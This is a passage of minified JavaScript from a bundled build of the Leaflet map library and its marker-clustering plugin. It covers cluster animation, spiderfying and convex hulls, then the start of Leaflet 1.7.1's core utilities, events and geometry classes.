n=this._getExpandedVisibleBounds(),o=Math.floor(this._map.getMinZoom());t._recursivelyAnimateChildrenInAndAddSelfToMap(n,o,e+1,i);var s=this;this._forceLayout();t._recursivelyBecomeVisible(n,i);this._enqueue((function(){if(t._childCount===1){var r=t._markers[0];this._ignoreMove=true;r.setLatLng(r.getLatLng());this._ignoreMove=false;if(r.clusterShow){r.clusterShow()}}else{t._recursively(n,i,o,(function(t){t._recursivelyRemoveChildrenFromMap(n,o,e+1)}))}s._animationEnd()}))},_animationEnd:function(){if(this._map){this._map._mapPane.className=this._map._mapPane.className.replace(" leaflet-cluster-anim","")}this._inZoomAnimation--;this.fire("animationend")},_forceLayout:function(){L.Util.falseFn(document.body.offsetWidth)}});L.markerClusterGroup=function(t){return new L.MarkerClusterGroup(t)};var i=L.MarkerCluster=L.Marker.extend({options:L.Icon.prototype.options,initialize:function(t,e,i,n){L.Marker.prototype.initialize.call(this,i?i._cLatLng||i.getLatLng():new L.LatLng(0,0),{icon:this,pane:t.options.clusterPane});this._group=t;this._zoom=e;this._markers=[];this._childClusters=[];this._childCount=0;this._iconNeedsUpdate=true;this._boundsNeedUpdate=true;this._bounds=new L.LatLngBounds;if(i){this._addChild(i)}if(n){this._addChild(n)}},getAllChildMarkers:function(t,e){t=t||[];for(var i=this._childClusters.length-1;i>=0;i--){this._childClusters[i].getAllChildMarkers(t,e)}for(var n=this._markers.length-1;n>=0;n--){if(e&&this._markers[n].__dragStart){continue}t.push(this._markers[n])}return t},getChildCount:function(){return this._childCount},zoomToBounds:function(t){var e=this._childClusters.slice(),i=this._group._map,n=i.getBoundsZoom(this._bounds),o=this._zoom+1,s=i.getZoom(),r;while(e.length>0&&n>o){o++;var a=[];for(r=0;r<e.length;r++){a=a.concat(e[r]._childClusters)}e=a}if(n>o){this._group._map.setView(this._latlng,o)}else if(n<=s){this._group._map.setView(this._latlng,s+1)}else{this._group._map.fitBounds(this._bounds,t)}},getBounds:function(){var t=new L.LatLngBounds;t.extend(this._bounds);return t},_updateIcon:function(){this._iconNeedsUpdate=true;if(this._icon){this.setIcon(this)}},createIcon:function(){if(this._iconNeedsUpdate){this._iconObj=this._group.options.iconCreateFunction(this);this._iconNeedsUpdate=false}return this._iconObj.createIcon()},createShadow:function(){return this._iconObj.createShadow()},_addChild:function(t,e){this._iconNeedsUpdate=true;this._boundsNeedUpdate=true;this._setClusterCenter(t);if(t instanceof L.MarkerCluster){if(!e){this._childClusters.push(t);t.__parent=this}this._childCount+=t._childCount}else{if(!e){this._markers.push(t)}this._childCount++}if(this.__parent){this.__parent._addChild(t,true)}},_setClusterCenter:function(t){if(!this._cLatLng){this._cLatLng=t._cLatLng||t._latlng}},_resetBounds:function(){var t=this._bounds;if(t._southWest){t._southWest.lat=Infinity;t._southWest.lng=Infinity}if(t._northEast){t._northEast.lat=-Infinity;t._northEast.lng=-Infinity}},_recalculateBounds:function(){var t=this._markers,e=this._childClusters,i=0,n=0,o=this._childCount,s,r,a,h;if(o===0){return}this._resetBounds();for(s=0;s<t.length;s++){a=t[s]._latlng;this._bounds.extend(a);i+=a.lat;n+=a.lng}for(s=0;s<e.length;s++){r=e[s];if(r._boundsNeedUpdate){r._recalculateBounds()}this._bounds.extend(r._bounds);a=r._wLatLng;h=r._childCount;i+=a.lat*h;n+=a.lng*h}this._latlng=this._wLatLng=new L.LatLng(i/o,n/o);this._boundsNeedUpdate=false},_addToMap:function(t){if(t){this._backupLatlng=this._latlng;this.setLatLng(t)}this._group._featureGroup.addLayer(this)},_recursivelyAnimateChildrenIn:function(t,e,i){this._recursively(t,this._group._map.getMinZoom(),i-1,(function(t){var i=t._markers,n,o;for(n=i.length-1;n>=0;n--){o=i[n];if(o._icon){o._setPos(e);o.clusterHide()}}}),(function(t){var i=t._childClusters,n,o;for(n=i.length-1;n>=0;n--){o=i[n];if(o._icon){o._setPos(e);o.clusterHide()}}}))},_recursivelyAnimateChildrenInAndAddSelfToMap:function(t,e,i,n){this._recursively(t,n,e,(function(o){o._recursivelyAnimateChildrenIn(t,o._group._map.latLngToLayerPoint(o.getLatLng()).round(),i);if(o._isSingleParent()&&i-1===n){o.clusterShow();o._recursivelyRemoveChildrenFromMap(t,e,i)}else{o.clusterHide()}o._addToMap()}))},_recursivelyBecomeVisible:function(t,e){this._recursively(t,this._group._map.getMinZoom(),e,null,(function(t){t.clusterShow()}))},_recursivelyAddChildrenToMap:function(t,e,i){this._recursively(i,this._group._map.getMinZoom()-1,e,(function(n){if(e===n._zoom){return}for(var o=n._markers.length-1;o>=0;o--){var s=n._markers[o];if(!i.contains(s._latlng)){continue}if(t){s._backupLatlng=s.getLatLng();s.setLatLng(t);if(s.clusterHide){s.clusterHide()}}n._group._featureGroup.addLayer(s)}}),(function(e){e._addToMap(t)}))},_recursivelyRestoreChildPositions:function(t){for(var e=this._markers.length-1;e>=0;e--){var i=this._markers[e];if(i._backupLatlng){i.setLatLng(i._backupLatlng);delete i._backupLatlng}}if(t-1===this._zoom){for(var n=this._childClusters.length-1;n>=0;n--){this._childClusters[n]._restorePosition()}}else{for(var o=this._childClusters.length-1;o>=0;o--){this._childClusters[o]._recursivelyRestoreChildPositions(t)}}},_restorePosition:function(){if(this._backupLatlng){this.setLatLng(this._backupLatlng);delete this._backupLatlng}},_recursivelyRemoveChildrenFromMap:function(t,e,i,n){var o,s;this._recursively(t,e-1,i-1,(function(t){for(s=t._markers.length-1;s>=0;s--){o=t._markers[s];if(!n||!n.contains(o._latlng)){t._group._featureGroup.removeLayer(o);if(o.clusterShow){o.clusterShow()}}}}),(function(t){for(s=t._childClusters.length-1;s>=0;s--){o=t._childClusters[s];if(!n||!n.contains(o._latlng)){t._group._featureGroup.removeLayer(o);if(o.clusterShow){o.clusterShow()}}}}))},_recursively:function(t,e,i,n,o){var s=this._childClusters,r=this._zoom,a,h;if(e<=r){if(n){n(this)}if(o&&r===i){o(this)}}if(r<e||r<i){for(a=s.length-1;a>=0;a--){h=s[a];if(h._boundsNeedUpdate){h._recalculateBounds()}if(t.intersects(h._bounds)){h._recursively(t,e,i,n,o)}}}},_isSingleParent:function(){return this._childClusters.length>0&&this._childClusters[0]._childCount===this._childCount}});L.Marker.include({clusterHide:function(){var t=this.options.opacity;this.setOpacity(0);this.options.opacity=t;return this},clusterShow:function(){return this.setOpacity(this.options.opacity)}});L.DistanceGrid=function(t){this._cellSize=t;this._sqCellSize=t*t;this._grid={};this._objectPoint={}};L.DistanceGrid.prototype={addObject:function(t,e){var i=this._getCoord(e.x),n=this._getCoord(e.y),o=this._grid,s=o[n]=o[n]||{},r=s[i]=s[i]||[],a=L.Util.stamp(t);this._objectPoint[a]=e;r.push(t)},updateObject:function(t,e){this.removeObject(t);this.addObject(t,e)},removeObject:function(t,e){var i=this._getCoord(e.x),n=this._getCoord(e.y),o=this._grid,s=o[n]=o[n]||{},r=s[i]=s[i]||[],a,h;delete this._objectPoint[L.Util.stamp(t)];for(a=0,h=r.length;a<h;a++){if(r[a]===t){r.splice(a,1);if(h===1){delete s[i]}return true}}},eachObject:function(t,e){var i,n,o,s,r,a,h,l=this._grid;for(i in l){r=l[i];for(n in r){a=r[n];for(o=0,s=a.length;o<s;o++){h=t.call(e,a[o]);if(h){o--;s--}}}}},getNearObject:function(t){var e=this._getCoord(t.x),i=this._getCoord(t.y),n,o,s,r,a,h,l,u,c=this._objectPoint,d=this._sqCellSize,f=null;for(n=i-1;n<=i+1;n++){r=this._grid[n];if(r){for(o=e-1;o<=e+1;o++){a=r[o];if(a){for(s=0,h=a.length;s<h;s++){l=a[s];u=this._sqDist(c[L.Util.stamp(l)],t);if(u<d||u<=d&&f===null){d=u;f=l}}}}}}return f},_getCoord:function(t){var e=Math.floor(t/this._cellSize);return isFinite(e)?e:t},_sqDist:function(t,e){var i=e.x-t.x,n=e.y-t.y;return i*i+n*n}};(function(){L.QuickHull={getDistant:function(t,e){var i=e[1].lat-e[0].lat,n=e[0].lng-e[1].lng;return n*(t.lat-e[0].lat)+i*(t.lng-e[0].lng)},findMostDistantPointFromBaseLine:function(t,e){var i=0,n=null,o=[],s,r,a;for(s=e.length-1;s>=0;s--){r=e[s];a=this.getDistant(r,t);if(a>0){o.push(r)}else{continue}if(a>i){i=a;n=r}}return{maxPoint:n,newPoints:o}},buildConvexHull:function(t,e){var i=[],n=this.findMostDistantPointFromBaseLine(t,e);if(n.maxPoint){i=i.concat(this.buildConvexHull([t[0],n.maxPoint],n.newPoints));i=i.concat(this.buildConvexHull([n.maxPoint,t[1]],n.newPoints));return i}else{return[t[0]]}},getConvexHull:function(t){var e=false,i=false,n=false,o=false,s=null,r=null,a=null,h=null,l=null,u=null,c;for(c=t.length-1;c>=0;c--){var d=t[c];if(e===false||d.lat>e){s=d;e=d.lat}if(i===false||d.lat<i){r=d;i=d.lat}if(n===false||d.lng>n){a=d;n=d.lng}if(o===false||d.lng<o){h=d;o=d.lng}}if(i!==e){u=r;l=s}else{u=h;l=a}var f=[].concat(this.buildConvexHull([u,l],t),this.buildConvexHull([l,u],t));return f}}})();L.MarkerCluster.include({getConvexHull:function(){var t=this.getAllChildMarkers(),e=[],i,n;for(n=t.length-1;n>=0;n--){i=t[n].getLatLng();e.push(i)}return L.QuickHull.getConvexHull(e)}});L.MarkerCluster.include({_2PI:Math.PI*2,_circleFootSeparation:25,_circleStartAngle:0,_spiralFootSeparation:28,_spiralLengthStart:11,_spiralLengthFactor:5,_circleSpiralSwitchover:9,spiderfy:function(){if(this._group._spiderfied===this||this._group._inZoomAnimation){return}var t=this.getAllChildMarkers(null,true),e=this._group,i=e._map,n=i.latLngToLayerPoint(this._latlng),o;this._group._unspiderfy();this._group._spiderfied=this;if(this._group.options.spiderfyShapePositions){o=this._group.options.spiderfyShapePositions(t.length,n)}else if(t.length>=this._circleSpiralSwitchover){o=this._generatePointsSpiral(t.length,n)}else{n.y+=10;o=this._generatePointsCircle(t.length,n)}this._animationSpiderfy(t,o)},unspiderfy:function(t){if(this._group._inZoomAnimation){return}this._animationUnspiderfy(t);this._group._spiderfied=null},_generatePointsCircle:function(t,e){var i=this._group.options.spiderfyDistanceMultiplier*this._circleFootSeparation*(2+t),n=i/this._2PI,o=this._2PI/t,s=[],r,a;n=Math.max(n,35);s.length=t;for(r=0;r<t;r++){a=this._circleStartAngle+r*o;s[r]=new L.Point(e.x+n*Math.cos(a),e.y+n*Math.sin(a))._round()}return s},_generatePointsSpiral:function(t,e){var i=this._group.options.spiderfyDistanceMultiplier,n=i*this._spiralLengthStart,o=i*this._spiralFootSeparation,s=i*this._spiralLengthFactor*this._2PI,r=0,a=[],h;a.length=t;for(h=t;h>=0;h--){if(h<t){a[h]=new L.Point(e.x+n*Math.cos(r),e.y+n*Math.sin(r))._round()}r+=o/n+h*5e-4;n+=s/r}return a},_noanimationUnspiderfy:function(){var t=this._group,e=t._map,i=t._featureGroup,n=this.getAllChildMarkers(null,true),o,s;t._ignoreMove=true;this.setOpacity(1);for(s=n.length-1;s>=0;s--){o=n[s];i.removeLayer(o);if(o._preSpiderfyLatlng){o.setLatLng(o._preSpiderfyLatlng);delete o._preSpiderfyLatlng}if(o.setZIndexOffset){o.setZIndexOffset(0)}if(o._spiderLeg){e.removeLayer(o._spiderLeg);delete o._spiderLeg}}t.fire("unspiderfied",{cluster:this,markers:n});t._ignoreMove=false;t._spiderfied=null}});L.MarkerClusterNonAnimated=L.MarkerCluster.extend({_animationSpiderfy:function(t,e){var i=this._group,n=i._map,o=i._featureGroup,s=this._group.options.spiderLegPolylineOptions,r,a,h,l;i._ignoreMove=true;for(r=0;r<t.length;r++){l=n.layerPointToLatLng(e[r]);a=t[r];h=new L.Polyline([this._latlng,l],s);n.addLayer(h);a._spiderLeg=h;a._preSpiderfyLatlng=a._latlng;a.setLatLng(l);if(a.setZIndexOffset){a.setZIndexOffset(1e6)}o.addLayer(a)}this.setOpacity(.3);i._ignoreMove=false;i.fire("spiderfied",{cluster:this,markers:t})},_animationUnspiderfy:function(){this._noanimationUnspiderfy()}});L.MarkerCluster.include({_animationSpiderfy:function(t,e){var i=this,n=this._group,o=n._map,s=n._featureGroup,r=this._latlng,a=o.latLngToLayerPoint(r),h=L.Path.SVG,l=L.extend({},this._group.options.spiderLegPolylineOptions),u=l.opacity,c,d,f,p,_,m;if(u===undefined){u=L.MarkerClusterGroup.prototype.options.spiderLegPolylineOptions.opacity}if(h){l.opacity=0;l.className=(l.className||"")+" leaflet-cluster-spider-leg"}else{l.opacity=u}n._ignoreMove=true;for(c=0;c<t.length;c++){d=t[c];m=o.layerPointToLatLng(e[c]);f=new L.Polyline([r,m],l);o.addLayer(f);d._spiderLeg=f;if(h){p=f._path;_=p.getTotalLength()+.1;p.style.strokeDasharray=_;p.style.strokeDashoffset=_}if(d.setZIndexOffset){d.setZIndexOffset(1e6)}if(d.clusterHide){d.clusterHide()}s.addLayer(d);if(d._setPos){d._setPos(a)}}n._forceLayout();n._animationStart();for(c=t.length-1;c>=0;c--){m=o.layerPointToLatLng(e[c]);d=t[c];d._preSpiderfyLatlng=d._latlng;d.setLatLng(m);if(d.clusterShow){d.clusterShow()}if(h){f=d._spiderLeg;p=f._path;p.style.strokeDashoffset=0;f.setStyle({opacity:u})}}this.setOpacity(.3);n._ignoreMove=false;setTimeout((function(){n._animationEnd();n.fire("spiderfied",{cluster:i,markers:t})}),200)},_animationUnspiderfy:function(t){var e=this,i=this._group,n=i._map,o=i._featureGroup,s=t?n._latLngToNewLayerPoint(this._latlng,t.zoom,t.center):n.latLngToLayerPoint(this._latlng),r=this.getAllChildMarkers(null,true),a=L.Path.SVG,h,l,u,c,d,f;i._ignoreMove=true;i._animationStart();this.setOpacity(1);for(l=r.length-1;l>=0;l--){h=r[l];if(!h._preSpiderfyLatlng){continue}h.closePopup();h.setLatLng(h._preSpiderfyLatlng);delete h._preSpiderfyLatlng;f=true;if(h._setPos){h._setPos(s);f=false}if(h.clusterHide){h.clusterHide();f=false}if(f){o.removeLayer(h)}if(a){u=h._spiderLeg;c=u._path;d=c.getTotalLength()+.1;c.style.strokeDashoffset=d;u.setStyle({opacity:0})}}i._ignoreMove=false;setTimeout((function(){var t=0;for(l=r.length-1;l>=0;l--){h=r[l];if(h._spiderLeg){t++}}for(l=r.length-1;l>=0;l--){h=r[l];if(!h._spiderLeg){continue}if(h.clusterShow){h.clusterShow()}if(h.setZIndexOffset){h.setZIndexOffset(0)}if(t>1){o.removeLayer(h)}n.removeLayer(h._spiderLeg);delete h._spiderLeg}i._animationEnd();i.fire("unspiderfied",{cluster:e,markers:r})}),200)}});L.MarkerClusterGroup.include({_spiderfied:null,unspiderfy:function(){this._unspiderfy.apply(this,arguments)},_spiderfierOnAdd:function(){this._map.on("click",this._unspiderfyWrapper,this);if(this._map.options.zoomAnimation){this._map.on("zoomstart",this._unspiderfyZoomStart,this)}this._map.on("zoomend",this._noanimationUnspiderfy,this);if(!L.Browser.touch){this._map.getRenderer(this)}},_spiderfierOnRemove:function(){this._map.off("click",this._unspiderfyWrapper,this);this._map.off("zoomstart",this._unspiderfyZoomStart,this);this._map.off("zoomanim",this._unspiderfyZoomAnim,this);this._map.off("zoomend",this._noanimationUnspiderfy,this);this._noanimationUnspiderfy()},_unspiderfyZoomStart:function(){if(!this._map){return}this._map.on("zoomanim",this._unspiderfyZoomAnim,this)},_unspiderfyZoomAnim:function(t){if(L.DomUtil.hasClass(this._map._mapPane,"leaflet-touching")){return}this._map.off("zoomanim",this._unspiderfyZoomAnim,this);this._unspiderfy(t)},_unspiderfyWrapper:function(){this._unspiderfy()},_unspiderfy:function(t){if(this._spiderfied){this._spiderfied.unspiderfy(t)}},_noanimationUnspiderfy:function(){if(this._spiderfied){this._spiderfied._noanimationUnspiderfy()}},_unspiderfyLayer:function(t){if(t._spiderLeg){this._featureGroup.removeLayer(t);if(t.clusterShow){t.clusterShow()}if(t.setZIndexOffset){t.setZIndexOffset(0)}this._map.removeLayer(t._spiderLeg);delete t._spiderLeg}}});L.MarkerClusterGroup.include({refreshClusters:function(t){if(!t){t=this._topClusterLevel.getAllChildMarkers()}else if(t instanceof L.MarkerClusterGroup){t=t._topClusterLevel.getAllChildMarkers()}else if(t instanceof L.LayerGroup){t=t._layers}else if(t instanceof L.MarkerCluster){t=t.getAllChildMarkers()}else if(t instanceof L.Marker){t=[t]}this._flagParentsIconsNeedUpdate(t);this._refreshClustersIcons();if(this.options.singleMarkerMode){this._refreshSingleMarkerModeMarkers(t)}return this},_flagParentsIconsNeedUpdate:function(t){var e,i;for(e in t){i=t[e].__parent;while(i){i._iconNeedsUpdate=true;i=i.__parent}}},_refreshSingleMarkerModeMarkers:function(t){var e,i;for(e in t){i=t[e];if(this.hasLayer(i)){i.setIcon(this._overrideMarkerIcon(i))}}}});L.Marker.include({refreshIconOptions:function(t,e){var i=this.options.icon;L.setOptions(i,t);this.setIcon(i);if(e&&this.__parent){this.__parent._group.refreshClusters(this)}return this}});t.MarkerClusterGroup=e;t.MarkerCluster=i;Object.defineProperty(t,"__esModule",{value:true})}))},57:function(t,e){ /* @preserve * Leaflet 1.7.1, a JS library for interactive maps. http://leafletjs.com * (c) 2010-2019 Vladimir Agafonkin, (c) 2010-2011 CloudMade */ (function(t,i){true?i(e):0})(this,(function(t){"use strict";var e="1.7.1";function i(t){var e,i,n,o;for(i=1,n=arguments.length;i<n;i++){o=arguments[i];for(e in o){t[e]=o[e]}}return t}var n=Object.create||function(){function t(){}return function(e){t.prototype=e;return new t}}();function o(t,e){var i=Array.prototype.slice;if(t.bind){return t.bind.apply(t,i.call(arguments,1))}var n=i.call(arguments,2);return function(){return t.apply(e,n.length?n.concat(i.call(arguments)):arguments)}}var s=0;function r(t){t._leaflet_id=t._leaflet_id||++s;return t._leaflet_id}function a(t,e,i){var n,o,s,r;r=function(){n=false;if(o){s.apply(i,o);o=false}};s=function(){if(n){o=arguments}else{t.apply(i,arguments);setTimeout(r,e);n=true}};return s}function h(t,e,i){var n=e[1],o=e[0],s=n-o;return t===n&&i?t:((t-o)%s+s)%s+o}function l(){return false}function u(t,e){var i=Math.pow(10,e===undefined?6:e);return Math.round(t*i)/i}function c(t){return t.trim?t.trim():t.replace(/^\s+|\s+$/g,"")}function d(t){return c(t).split(/\s+/)}function f(t,e){if(!Object.prototype.hasOwnProperty.call(t,"options")){t.options=t.options?n(t.options):{}}for(var i in e){t.options[i]=e[i]}return t.options}function p(t,e,i){var n=[];for(var o in t){n.push(encodeURIComponent(i?o.toUpperCase():o)+"="+encodeURIComponent(t[o]))}return(!e||e.indexOf("?")===-1?"?":"&")+n.join("&")}var _=/\{ *([\w_-]+) *\}/g;function m(t,e){return t.replace(_,(function(t,i){var n=e[i];if(n===undefined){throw new Error("No value provided for variable "+t)}else if(typeof n==="function"){n=n(e)}return n}))}var g=Array.isArray||function(t){return Object.prototype.toString.call(t)==="[object Array]"};function v(t,e){for(var i=0;i<t.length;i++){if(t[i]===e){return i}}return-1}var y="data:image/gif;base64,R0lGODlhAQABAAD/ACwAAAAAAQABAAACADs=";function x(t){return window["webkit"+t]||window["moz"+t]||window["ms"+t]}var w=0;function b(t){var e=+new Date,i=Math.max(0,16-(e-w));w=e+i;return window.setTimeout(t,i)}var P=window.requestAnimationFrame||x("RequestAnimationFrame")||b;var C=window.cancelAnimationFrame||x("CancelAnimationFrame")||x("CancelRequestAnimationFrame")||function(t){window.clearTimeout(t)};function M(t,e,i){if(i&&P===b){t.call(e)}else{return P.call(window,o(t,e))}}function T(t){if(t){C.call(window,t)}}var k={extend:i,create:n,bind:o,lastId:s,stamp:r,throttle:a,wrapNum:h,falseFn:l,formatNum:u,trim:c,splitWords:d,setOptions:f,getParamString:p,template:m,isArray:g,indexOf:v,emptyImageUrl:y,requestFn:P,cancelFn:C,requestAnimFrame:M,cancelAnimFrame:T};function S(){}S.extend=function(t){var e=function(){if(this.initialize){this.initialize.apply(this,arguments)}this.callInitHooks()};var o=e.__super__=this.prototype;var s=n(o);s.constructor=e;e.prototype=s;for(var r in this){if(Object.prototype.hasOwnProperty.call(this,r)&&r!=="prototype"&&r!=="__super__"){e[r]=this[r]}}if(t.statics){i(e,t.statics);delete t.statics}if(t.includes){z(t.includes);i.apply(null,[s].concat(t.includes));delete t.includes}if(s.options){t.options=i(n(s.options),t.options)}i(s,t);s._initHooks=[];s.callInitHooks=function(){if(this._initHooksCalled){return}if(o.callInitHooks){o.callInitHooks.call(this)}this._initHooksCalled=true;for(var t=0,e=s._initHooks.length;t<e;t++){s._initHooks[t].call(this)}};return e};S.include=function(t){i(this.prototype,t);return this};S.mergeOptions=function(t){i(this.prototype.options,t);return this};S.addInitHook=function(t){var e=Array.prototype.slice.call(arguments,1);var i=typeof t==="function"?t:function(){this[t].apply(this,e)};this.prototype._initHooks=this.prototype._initHooks||[];this.prototype._initHooks.push(i);return this};function z(t){if(typeof L==="undefined"||!L||!L.Mixin){return}t=g(t)?t:[t];for(var e=0;e<t.length;e++){if(t[e]===L.Mixin.Events){console.warn("Deprecated include of L.Mixin.Events: "+"this property will be removed in future releases, "+"please inherit from L.Evented instead.",(new Error).stack)}}}var E={on:function(t,e,i){if(typeof t==="object"){for(var n in t){this._on(n,t[n],e)}}else{t=d(t);for(var o=0,s=t.length;o<s;o++){this._on(t[o],e,i)}}return this},off:function(t,e,i){if(!t){delete this._events}else if(typeof t==="object"){for(var n in t){this._off(n,t[n],e)}}else{t=d(t);for(var o=0,s=t.length;o<s;o++){this._off(t[o],e,i)}}return this},_on:function(t,e,i){this._events=this._events||{};var n=this._events[t];if(!n){n=[];this._events[t]=n}if(i===this){i=undefined}var o={fn:e,ctx:i},s=n;for(var r=0,a=s.length;r<a;r++){if(s[r].fn===e&&s[r].ctx===i){return}}s.push(o)},_off:function(t,e,i){var n,o,s;if(!this._events){return}n=this._events[t];if(!n){return}if(!e){for(o=0,s=n.length;o<s;o++){n[o].fn=l}delete this._events[t];return}if(i===this){i=undefined}if(n){for(o=0,s=n.length;o<s;o++){var r=n[o];if(r.ctx!==i){continue}if(r.fn===e){r.fn=l;if(this._firingCount){this._events[t]=n=n.slice()}n.splice(o,1);return}}}},fire:function(t,e,n){if(!this.listens(t,n)){return this}var o=i({},e,{type:t,target:this,sourceTarget:e&&e.sourceTarget||this});if(this._events){var s=this._events[t];if(s){this._firingCount=this._firingCount+1||1;for(var r=0,a=s.length;r<a;r++){var h=s[r];h.fn.call(h.ctx||this,o)}this._firingCount--}}if(n){this._propagateEvent(o)}return this},listens:function(t,e){var i=this._events&&this._events[t];if(i&&i.length){return true}if(e){for(var n in this._eventParents){if(this._eventParents[n].listens(t,e)){return true}}}return false},once:function(t,e,i){if(typeof t==="object"){for(var n in t){this.once(n,t[n],e)}return this}var s=o((function(){this.off(t,e,i).off(t,s,i)}),this);return this.on(t,e,i).on(t,s,i)},addEventParent:function(t){this._eventParents=this._eventParents||{};this._eventParents[r(t)]=t;return this},removeEventParent:function(t){if(this._eventParents){delete this._eventParents[r(t)]}return this},_propagateEvent:function(t){for(var e in this._eventParents){this._eventParents[e].fire(t.type,i({layer:t.target,propagatedFrom:t.target},t),true)}}};E.addEventListener=E.on;E.removeEventListener=E.clearAllEventListeners=E.off;E.addOneTimeEventListener=E.once;E.fireEvent=E.fire;E.hasEventListeners=E.listens;var Z=S.extend(E);function B(t,e,i){this.x=i?Math.round(t):t;this.y=i?Math.round(e):e}var I=Math.trunc||function(t){return t>0?Math.floor(t):Math.ceil(t)};B.prototype={clone:function(){return new B(this.x,this.y)},add:function(t){return this.clone()._add(A(t))},_add:function(t){this.x+=t.x;this.y+=t.y;return this},subtract:function(t){return this.clone()._subtract(A(t))},_subtract:function(t){this.x-=t.x;this.y-=t.y;return this},divideBy:function(t){return this.clone()._divideBy(t)},_divideBy:function(t){this.x/=t;this.y/=t;return this},multiplyBy:function(t){return this.clone()._multiplyBy(t)},_multiplyBy:function(t){this.x*=t;this.y*=t;return this},scaleBy:function(t){return new B(this.x*t.x,this.y*t.y)},unscaleBy:function(t){return new B(this.x/t.x,this.y/t.y)},round:function(){return this.clone()._round()},_round:function(){this.x=Math.round(this.x);this.y=Math.round(this.y);return this},floor:function(){return this.clone()._floor()},_floor:function(){this.x=Math.floor(this.x);this.y=Math.floor(this.y);return this},ceil:function(){return this.clone()._ceil()},_ceil:function(){this.x=Math.ceil(this.x);this.y=Math.ceil(this.y);return this},trunc:function(){return this.clone()._trunc()},_trunc:function(){this.x=I(this.x);this.y=I(this.y);return this},distanceTo:function(t){t=A(t);var e=t.x-this.x,i=t.y-this.y;return Math.sqrt(e*e+i*i)},equals:function(t){t=A(t);return t.x===this.x&&t.y===this.y},contains:function(t){t=A(t);return Math.abs(t.x)<=Math.abs(this.x)&&Math.abs(t.y)<=Math.abs(this.y)},toString:function(){return"Point("+u(this.x)+", "+u(this.y)+")"}};function A(t,e,i){if(t instanceof B){return t}if(g(t)){return new B(t[0],t[1])}if(t===undefined||t===null){return t}if(typeof t==="object"&&"x"in t&&"y"in t){return new B(t.x,t.y)}return new B(t,e,i)}function O(t,e){if(!t){return}var i=e?[t,e]:t;for(var n=0,o=i.length;n<o;n++){this.extend(i[n])}}O.prototype={extend:function(t){t=A(t);if(!this.min&&!this.max){this.min=t.clone();this.max=t.clone()}else{this.min.x=Math.min(t.x,this.min.x);this.max.x=Math.max(t.x,this.max.x);this.min.y=Math.min(t.y,this.min.y);this.max.y=Math.max(t.y,this.max.y)}return this},getCenter:function(t){return new B((this.min.x+this.max.x)/2,(this.min.y+this.max.y)/2,t)},getBottomLeft:function(){return new B(this.min.x,this.max.y)},getTopRight:function(){return new B(this.max.x,this.min.y)},getTopLeft:function(){return this.min},getBottomRight:function(){return this.max},getSize:function(){return this.max.subtract(this.min)},contains:function(t){var e,i;if(typeof t[0]==="number"||t instanceof B){t=A(t)}else{t=R(t)}if(t instanceof O){e=t.min;i=t.max}else{e=i=t}return e.x>=this.min.x&&i.x<=this.max.x&&e.y>=this.min.y&&i.y<=this.max.y},intersects:function(t){t=R(t);var e=this.min,i=this.max,n=t.min,o=t.max,s=o.x>=e.x&&n.x<=i.x,r=o.y>=e.y&&n.y<=i.y;return s&&r},overlaps:function(t){t=R(t);var e=this.min,i=this.max,n=t.min,o=t.max,s=o.x>e.x&&n.x<i.x,r=o.y>e.y&&n.y<i.y;return s&&r},isValid:function(){return!!(this.min&&this.max)}};function R(t,e){if(!t||t instanceof O){return t}return new O(t,e)}function N(t,e){if(!t){return}var i=e?[t,e]:t;for(var n=0,o=i.length;n<o;n++){this.extend(i[n])}}N.prototype={extend:function(t){var e=this._southWest,i=this._northEast,n,o;if(t instanceof U){n=t;o=t}else if(t instanceof N){n=t._southWest;o=t._northEast;if(!n||!o){return this}}else{return t?this.extend(j(t)||D(t)):this}if(!e&&!i){this._southWest=new U(n.lat,n.lng);this._northEast=new U(o.lat,o.lng)}else{e.lat=Math.min(n.lat,e.lat);e.lng=Math.min(n.lng,e.lng);i.lat=Math.max(o.lat,i.lat);i.lng=Math.max(o.lng,i.lng)}return this},pad:function(t){var e=this._southWest,i=this._northEast,n=Math.abs(e.lat-i.lat)*t,o=Math.abs(e.lng-i.lng)*t;return new N(new U(e.lat-n,e.lng-o),new U(i.lat+n,i.lng+o))},getCenter:function(){return new U((this._southWest.lat+this._northEast.lat)/2,(this._southWest.lng+this._northEast.lng)/2)},getSouthWest:function(){return this._southWest},getNorthEast:function(){return this._northEast},getNorthWest:function(){return new U(this.getNorth(),this.getWest())},getSouthEast:function(){return new U(this.getSouth(),this.getEast())},getWest:function(){return this._southWest.lng},getSouth:function(){return this._southWest.lat},getEast:function(){return this._northEast.lng},getNorth:function(){return this._northEast.lat},contains:function(t){if(typeof t[0]==="number"||t instanceof U||"lat"in t){t=j(t)}else{t=D(t)}var e=this._southWest,i=this._northEast,n,o;if(t instanceof N){n=t.getSouthWest();o=t.getNorthEast()}else{n=o=t}return n.lat>=e.lat&&o.lat<=i.lat&&n.lng>=e.lng&&o.lng<=i.lng},intersects:function(t){t=D(t);var e=this._southWest,i=this._northEast,n=t.getSouthWest(),o=t.getNorthEast(),s=o.lat>=e.lat&&n.lat<=i.lat,r=o.lng>=e.lng&&n.lng<=i.lng;return s&&r},overlaps:function(t){t=D(t);var e=this._southWest,i=this._northEast,n=t.getSouthWest(),o=t.getNorthEast(),s=o.lat>e.lat&&n.lat<i.lat,r=o.lng>e.lng&&n.lng<i.lng;return s&&r},toBBoxString:function(){return[this.getWest(),this.getSouth(),this.getEast(),this.getNorth()].join(",")},equals:function(t,e){if(!t){return false}t=D(t);return this._southWest.equals(t.getSouthWest(),e)&&this._northEast.equals(t.getNorthEast(),e)},isValid:function(){return!!(this._southWest&&this._northEast)}};function D(t,e){if(t instanceof N){return t}return new N(t,e)}function U(t,e,i){if(isNaN(t)||isNaN(e)){throw new Error("Invalid LatLng object: ("+t+", "+e+")")}this.lat=+t;this.lng=+e;if(i!==undefined){this.alt=+i}}U.prototype={equals:function(t,e){if(!t){return false}t=j(t);var i=Math.max(Math.abs(this.lat-t.lat),Math.abs(this.lng-t.lng));return i<=(e===undefined?1e-9:e)},toString:function(t){return"LatLng("+u(this.lat,t)+", "+u(this.lng,t)+")"},distanceTo:function(t){return G.distance(this,j(t))},wrap:function(){return G.wrapLatLng(this)},toBounds:function(t){var e=180*t/40075017,i=e/Math.cos(Math.PI/180*this.lat);return D([this.lat-e,this.lng-i],[this.lat+e,this.lng+i])},clone:function(){return new U(this.lat,this.lng,this.alt)}};function j(t,e,i){if(t instanceof U){return t}if(g(t)&&typeof t[0]!=="object"){if(t.length===3){return new U(t[0],t[1],t[2])}if(t.length===2){return new U(t[0],t[1])}return null}if(t===undefined||t===null){return t}if(typeof t==="object"&&"lat"in t){return new 